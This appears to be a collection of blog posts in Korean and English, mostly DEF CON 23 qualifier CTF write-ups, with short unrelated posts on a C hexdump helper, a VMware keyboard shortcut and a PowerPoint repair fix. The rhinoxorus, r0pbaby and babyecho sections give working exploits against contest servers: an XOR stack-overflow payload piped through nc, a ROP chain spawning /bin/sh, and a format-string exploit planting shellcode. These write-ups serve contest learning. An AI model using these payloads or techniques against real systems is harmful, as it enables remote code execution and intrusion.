다음과 같은 바이너리가 주어집니다.

rhinoxorus_cd2be6030fb52cbc13a48b13603b9979

※ 추후에 힌트로 추가된 소스

rhinoxorus.c


IDA로 살펴보면 함수가 굉장히 많이 있고, main() 함수에서 이 함수들을 function pointer array에 넣어주고 password.txt를 읽은 뒤 serve합니다.

목표는 password.txt에서 읽은 값을 알아내는겁니다.

serve를 하게되면 process_connection() 함수에서 256Byte를 입력받고, 입력받은 문자열의 첫번째 byte를 function pointer array의 index로 하고 첫 번째 인자를 문자열로, 두 번째 인자를 문자열 길이로해서 함수를 호출하고, 각 함수들 안에서는 함수 안의 버퍼의 크기와 인자와 XOR을 진행한 뒤 문자열의 길이를 하나씩 줄여가며 함수를 호출합니다. 문제에 대한 자세한 설명은 나중에 힌트로 소스도 주어진 만큼 생략하겠습니다.

각 함수 안에서는 우리가 입력해준 글자만큼 XOR로 덮어쓰니 buffer overflow가 일어납니다. 따라서 return address를 수정할 수 있는데, 마침 바이너리 안에 sock_send라는 함수가 있습니다. 따라서 return address를 sock_send로 바꾸고, 인자들을 sock_send(0x4 /* socket fd */, 0x805f0c0 /* password */, 0x100 /* length */); 처럼 해주면 우리한테 password의 내용이 전달됩니다.

문제는 canary 우회를 해야하고, 우리 입력값이 계속 함수로 실행되다보니 언제터질지 모른다는 점입니다.

따라서 저는 다음과같이 3단계로 구성하였습니다.

1단계: return address가 덮어씌워질 함수

2단계: buffer를 쭉 올라가서 1단계의 return address와 인자를 바꿔줌

3단계: count를 1로 바꿔서 바로 return되게 만듦

이렇게 구성하기 위해서 1단계의 버퍼는 조금 넉넉하게, 2단계와 3단계의 버퍼는 별로 없는 input을 찾아야 해서 손으로 조금 노가다를 뛰어보니 첫 2Byte가 \x35\x00이라면 func_67, func_9f, func_92가 차례대로 실행되면서 각각 버퍼의 사이즈가 0x58, 0x38, 0x04임을 확인해서 이걸로 진행하기로 하였습니다.

gdb로 봐가면서 얼마나 넣어야 버퍼의 값이 어떻게 바뀌고 하는지를 알아내는데 시간이 좀 걸렸습니다.

최종 payload를 살펴보면서 설명드리겠습니다.

(perl -e 'print "\x35\x00","\x60"x16,"\x60"x12,"\x9b\x60\x60\x60","\x58"x52,"\x00"x131,"\x58"x12,"\x00"x4,"\xb1\xe2\x01\x00","\x00"x4,"\xf8\x00\x00\x00","\xc0\xf1\x05\x08\x00\x01\x00\x00"')|nc 54.152.37.20 24242

"\x35\x00" : 실행될 3가지 함수를 지정.

"\x60"x16 : 3단계에서 func_92의 canary값에 영향을 주지 않기 위함. 이 함수에 들어가면 \x60이 상위 두 함수를 거치며 \x00으로 변해있음.

"\x60"x12 : func_92의 EBP에서 EBP+0xb까지 보존.

"\x9b\x60\x60\x60" : func_92의 두 번째 인자인 count를 1로 바꿔버림. func_92의 XOR은 여기서 멈춤.

"\x58"x52 : 2단계 func_9f의 canary와 EBP 위로 보존.

"\x00"x131 : 1단계의 func_67값들 (canary 및 EBP+@) 보존.

"\x58"x12 : 여기서부터 func_9f에서 func_67의 canary부분(func_67.EBP - 0xc)을 바꿈.

"\x00"x4 : dummy (func_67.EBP)

"\xb1\xe2\x01\x00" : func_67의 return address를 sock_send로 바꿔줌. (0x804884b = 0x08056afa(원래 있던 return address) ^ 0x1e2b1)

"\x00"x4 : dummy

"\xf8\x00\x00\x00" : sock_send의 첫 번째 인자를 4로 만들어줌 (0x4 = 0xfc(원래 있던 값(payload length)) ^ 0xf8)

\xc0\xf1\x05\x08\x00\x01\x00\x00" : sock_send의 두 번째 인자와 세 번째 인자를 각각 0x805f0c0, 0x100으로 만들어줌. (0x805f0c0 = 0x100(원래 있던 값) ^ 0x805f1c0, 0x100 = 0x0(원래 있던 값) ^ 0x100)

gdb에서 각 함수에서 XOR이 끝나고 BP를 걸고 func_67의 EBP부분을 살펴보면 func_9f에서 잘 덮어쓰는 것을 볼 수 있습니다. 또한 func_92에서 더 이상의 진행을 막기 위한 count가 1로 잘 바뀝니다.

이렇게하면 password가 잘 전송되는 것을 볼 수 있습니다.

Flag: cc21fe41b44ba70d0e6978c840698601

hex editor에서 보는 것처럼 데이터를 hex로 dump해주는 코드이다.


void hexdump(const uint8_t *buf, const uint32_t len) {
	const uint32_t size = 16;

	for (uint32_t i = 0; i < len; i += size) {
		printf("[0x%04x] ", i);
		for (size_t j = i; j < i + size; ++j) {
			if (j == i + size/2) putchar(' ');
			if (j>=len)
				printf("   ");
			else
				printf("%02x ", buf[j]);
		}
		putchar(' ');
		for (uint32_t j = i; j < i + size && j < len; ++j) {
			if (j == i + size / 2) putchar(' ');
			if (buf[j] >= 0x20 && buf[j] < 0x80)
				putchar(buf[j]);
			else
				putchar('.');
		}
		putchar('\n');
	}
	putchar('\n');
}


/usr/include같은 디렉토리에 hexdump.h에 저장해두면 #include<hexdump.h> 후 간편히 사용할 수 있다.

Windows 10의 Multiple Desktop을 사용해서 하나는 Windows로, 나머지 하나는 VMware를 이용해 Ubuntu를 전체화면 해두고 사용하려고 했는데 Ubuntu에서는 단축키인 Ctrl + Windows + Arrow키가 먹히지를 않는 것이다. 윈도우 키를 VMware 안에서 처리해버리기 때문이다.

When using multiple desktop in Windows 10, Windows in one desktop, Ubuntu from VMware in another, I could not use the shortcut key for switching desktops(Ctrl + Windows + Arrow). It's because windows key is handled by VMware, not Windows.

이 단축키를 사용할 수 있는 간단한 방법은 Ctrl + Alt를 이용해 VMware모드를 빠져나간 뒤 Ctrl + Windows + Arrow키를 누르는 방법이다.

Easiest way to solve this problem is to escape VM mode with Ctrl + Alt, and then press Ctrl + Windows + Arrow.

아니면 Windows키를 VMware에서 처리하지 않도록 하는 방법이 있는지는 모르겠다.

I'm not sure if I can make VMware not handle window key.

"ppt 내용에 문제가 있습니다. 프레젠테이션 복구가 시도될 수 있습니다.원본을 신뢰할 경우 복구를 선택하십시요"


Windows 7에서 Windows 10으로 업그레이드 후 pptx 파일을 열면 위와 같은 에러가 발생하였다.

다음 링크에 들어가서 이 문제를 해결할 수 있다.

https://support.microsoft.com/en-us/kb/3086786


해결책 1: 폴더 권한 변경

1. 다음 명령어 복사

2. cmd를 관리자 권한으로 실행(Windows키 누른 후 cmd 검색 후 ctrl + shift + enter)

3. 명령어 붙여넣기 후 엔터


이 해결책으로 말끔히 해결되었다.




지하철에서 메일 받고 이성의 끈을 놓아 소리 지를 뻔했으나 다시 진정.....

아무튼 뽑힌 만큼 열심히 노력하겠습니다!!

  1. 추카드려용 2015.07.05 22:06

    축하드립니다~~ 전 아쉽게 면접에서 떨어졌네요 ..ㅠ

    • 유메 yum3 2015.07.07 00:37 신고

      감사합니다~ 면접에서 떨어지셔서 더더욱 아쉬우시겠어요ㅠㅠ 다음에 꼭 붙으시길 바라요!!

한국어(Korean): Link


Personally I think this was the easiest challenge in defcon23.

Connecting the server, it gives us expressions that contains addition, subtraction, multiplication, power, brackets, etc.

We can simply eval() the expression, but there are a few tricks.

Trick1: Numbers are written in English like "THREE - ONE = ". Let's change this back to number.

Trick2: There are square brackets and curly brackets. This has special meaning in python so let's turn them into small brackets.

Trick3: Expression of power is ^. It means XOR in python so turn this into **.

I thought 100 problems was enough but there were 1000.

from socket import *

s = socket(2,1)
s.connect(('mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me', 21249))

d = {'one':'1','two':'2','three':'3','four':'4','five':'5','six':'6','seven':'7','eight':'8','nine':'9', '=':'', '[':'(', '{':'(', ']':')', '}':')', '^':'**'}

for i in range(1000):
    tmp = s.recv(1024)
    print i, tmp
    for j in d.iterkeys():
        if j in tmp.lower():
            tmp = tmp.lower().replace(j, d[j])
    s.send(`eval(tmp)`+'\n')

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: Farva says you are a FickenChucker and you'd better watch Super Troopers 2

English: Link


이번 대회에서 가장 쉬웠던 문제가 아닐까 합니다.

서버에 접속하면 1자리수와 덧셈, 뺄셈, 곱셈, 지수, 괄호 등으로 이루어진 식이 나옵니다.

이를 받아서 eval해주면 되는데, 중간중간에 함정이 있는데 종류는 다음과 같습니다.

함정1: 숫자가 영어로 나올 때가 있습니다. "THREE - ONE = " 이런 식입니다. 이를 숫자로 바꿔줍시다.

함정2: 중괄호, 대괄호가 나옵니다. 이는 파이썬에서 다른 의미를 지니므로 괄호로 바꿔줍시다.

함정3: 지수의 표현이 ^입니다. 파이썬에서 이는 XOR을 의미하므로 **로 바꿔줍시다.

처음엔 100번만 하면 되는줄 알았는데 1000번을 해야 flag가 나옵니다.

from socket import *

s = socket(2,1)
s.connect(('mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me', 21249))

d = {'one':'1','two':'2','three':'3','four':'4','five':'5','six':'6','seven':'7','eight':'8','nine':'9', '=':'', '[':'(', '{':'(', ']':')', '}':')', '^':'**'}

for i in range(1000):
    tmp = s.recv(1024)
    print i, tmp
    for j in d.iterkeys():
        if j in tmp.lower():
            tmp = tmp.lower().replace(j, d[j])
    s.send(`eval(tmp)`+'\n')

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: Farva says you are a FickenChucker and you'd better watch Super Troopers 2

한국어(Korean): Link


We are given a binary below:

r0pbaby_542ee6516410709a1421141501f03760

As we can notice looking at the name, this is about ROP. Let's check the protections.

As imagined, NX is on and also PIE is.

Run the binary and we can easily find out what to do.

We can fetch the address of any function we want via No.2 and unleash overflow via No.3.

Let's take a look at how overflow occurs using gdb. To debug a PIE binary, you must first set "set stop-on-solib-events 1" option and then set BP after code section is loaded. Also set BP after calling memcpy where overflow occurs.

Our input is directly copied to rbp. So we can think of a payload like this:

dummy [A*8]

Address of "pop %rdi; retq"

Pointer to "/bin/sh"

system function


The reason why we put the address of "/bin/sh" in rdi is because arguments are passed not through stack but through register in x64 in this order:

rdi, rsi, rdx, r10, r9, r8

The first argument goes rdi.


We gotta find "pop rdi; retq" in libc using ROPgadget.

Then let's measure the distance between system and "/bin/sh", "pop %rdi; retq"

system-0x22b1a = 0x23b26 = 146214

Sadly we cannot find "/bin/sh" in libc using find command :( We gotta run a binary.

0x7ffff798dcdb-0x7ffff7857640=1271451

Final exploit code is as follows.

from socket import *
import struct

p = lambda x:struct.pack("<Q", x)

s = socket(2,1)
s.connect(('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me',10436))

print s.recv(1024) # banner
print s.recv(1024) # menu

s.send('2\n')
print s.recv(1024) # which func?
s.send('system\n')
tmp = s.recv(1024)
print tmp
system_addr = eval(tmp.split(': ')[1])

payload = 'a'*8
payload += p(system_addr-146214) # pop rdi; retq;
payload += p(system_addr+1271451) # "/bin/sh"
payload += p(system_addr)
payload += '\n'

s.send('3\n'+`len(payload)`+'\n'+payload)

print s.recv(1024)
s.send('4\n')
print s.recv(1024)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()



Flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?

English: Link


다음과 같은 바이너리가 주어집니다.

r0pbaby_542ee6516410709a1421141501f03760

문제 이름에서도 알 수 있듯 rop에 관한 문제입니다. 보호기법을 확인해봅시다.

예상했듯이 NX는 걸려있고 PIE도 걸려있네요.

binary를 실행하면 무엇을 해야하는지 쉽게 알 수 있습니다.

2번으로 원하는 함수의 주소를 건네받고 3번을 통해 overflow를 일으킵니다.

gdb를 통해 오버플로우 과정을 확인해봅시다. PIE 바이너리를 디버깅하려면 set stop-on-solib-events 1를 해준 다음에 code영역 주소가 결정되면 BP를 걸어줍니다. memcpy로 overflow가 일어나므로 memcpy 직후에 BP를 겁시다.

rbp에 바로 copy가 되네요. 그러면 다음과 같이 payload를 짤 수 있습니다.

dummy [A*8]

"pop %rdi; retq"의 주소

"/bin/sh" 포인터

system함수


여기서 rdi에 /bin/sh의 주소를 넣는 이유는 x64에서는 인자가 스택으로 전달되지 않고 다음 레지스터의 순서대로 전달됩니다.

rdi, rsi, rdx, r10, r9, r8

그래서 system의 첫 번째 인자는 rdi에 넣어줍니다.


"pop rdi; retq;" 명령어는 libc에서 ROPgadget으로 찾아봅시다.

그리고 system과 "/bin/sh", "pop %rdi; retq"의 거리를 구합시다.

system-0x22b1a = 0x23b26 = 146214

"/bin/sh"의 주소는 libc에서는 find로 안 구해지네요...ㅠ gdb에서 구합시다.

0x7ffff798dcdb-0x7ffff7857640=1271451

최종 exploit 코드는 다음과 같습니다.

from socket import *
import struct

p = lambda x:struct.pack("<Q", x)

s = socket(2,1)
s.connect(('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me',10436))

print s.recv(1024) # banner
print s.recv(1024) # menu

s.send('2\n')
print s.recv(1024) # which func?
s.send('system\n')
tmp = s.recv(1024)
print tmp
system_addr = eval(tmp.split(': ')[1])

payload = 'a'*8
payload += p(system_addr-146214) # pop rdi; retq;
payload += p(system_addr+1271451) # "/bin/sh"
payload += p(system_addr)
payload += '\n'

s.send('3\n'+`len(payload)`+'\n'+payload)

print s.recv(1024)
s.send('4\n')
print s.recv(1024)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()



Flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?

  1. 지나가던 행인.. 2015.05.24 21:21

    우와.. 슈퍼 깔끔한 페이로드 잘 보고 갑니다.. 멋지네염!

한국어(Korean): Link


We are given a binary below:

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

Checking out the protections, there is no canary, NX or PIE.

When we open it with IDA, there are lots of functions. It's because it is statically compiled. It makes it harder to analyze the binary.

We follow "Reading %d bytes" in String section to find 0x8048f3c function.

There is 14-second alarm so we turn it off to debug without being disturbed. Function 0x804f560 looks like printf and it only takes 1 argument. We can assume there is Format String Bug. Let's make lots of BPs after function calls.

printf is executed on stopping at BP 0x8049014. In addition, we write "%x %x" as input and "d a" came out.

Let's take a look at the stack.

We can check that there indeed is d and a. Also our input is stored at 0xffffd2dc and the pointer of the buffer is there too.

0xd is 13, and let's change this value and see if it reads more bytes. There are two 0xd so we change one by one and when the value at 0xffffd2d0 is changed, it reads more bytes.

So we first change it to use more space in buffer, put shellcode there, then change return address to the address of buffer.

Stage 1: The server has ASLR, so we find out the address of buffer by inputting "%5$x" (0xffffd2dc).

Stage 2: Subtract buf(address fetched from above step) by 12(0xffffd2d0) to get the address of reading size. Then write this address first so that we can modify it with "%7$n", followed by "%99c" to increase the value from 13 to 99. The reason for choosing 99 is because at first, payload must not exceed 13Byte, and '\xd0\xd2\xff\xff%99c%7$n\n' is the most we can get out of it.

Stage 3: Write NOP+shellcode in buffer.

Stage 4: Return address is storead at buf+1040, and we overwrite it with buf+28 because as we overwrite return address, that payload will overwrite the first few bytes of buffer. To overwrite it, %4294956780c is needed but it's too much so we'll break down into two steps where each step write 2 Bytes by "%hn": '\xec\xd6\xff\xff%54008c%7$hn', '\xee\xd6\xff\xff%65531c%7$hn'

I made payload as written above and sent it to server, but it did not work. It was because for our shellcode to be executed, main has to return, but it doesn't. It just keeps looping infinitely and exit by alarm. I looked into it more carefully and found that if esp+0x18 is not 0, main returns.

So finally, write any non-zero number in buf-4.

Here's my final payload.

from socket import *
from struct import pack

p = lambda x:pack("<I", x)
s = socket(2,1)
s.connect(('babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me',3232))

# first
print s.recv(1024)
s.send('%5$x\n')
buf = int(s.recv(1024), 16)
s.recv(1024)
print hex(buf)

# second
N=(buf-0xc)
payload = p(N)+"%99c%7$n\n"
print '[+]payload len:',len(payload)
s.send(payload)
print s.recv(1024).encode('hex')

# third
print s.recv(2**20)
payload = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # x86 shellcode
payload = '\x90'*70+payload+'\n'
s.send(payload)
s.recv(2**16)

# fourth: bottom half
print s.recv(1024)
payload = p(buf+1040)+'%'+str((buf+28)&0xffff).rstrip('L')+'c%7$hn\n'
print '[+]third payload:',payload[:4].encode('hex')+payload[4:]
print '[+]third len:',len(payload)
s.send(payload)
print s.recv(2**16)

# fifth: top half
print s.recv(1024)
payload = p(buf+1042)+'%'+str((((buf+28)&0xffff0000)>>16)-4).rstrip('L')+'c%7$hn\n'
print '[+]fourth payload:',payload[:4].encode('hex')+payload[4:]
print '[+]fourth len:',len(payload)
s.send(payload)
print s.recv(2**16)

s.send('%267$x\n')

# exit
print s.recv(2**16)
payload = p(buf-4)+'%7$n\n'
s.send(payload)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%

+ Recent posts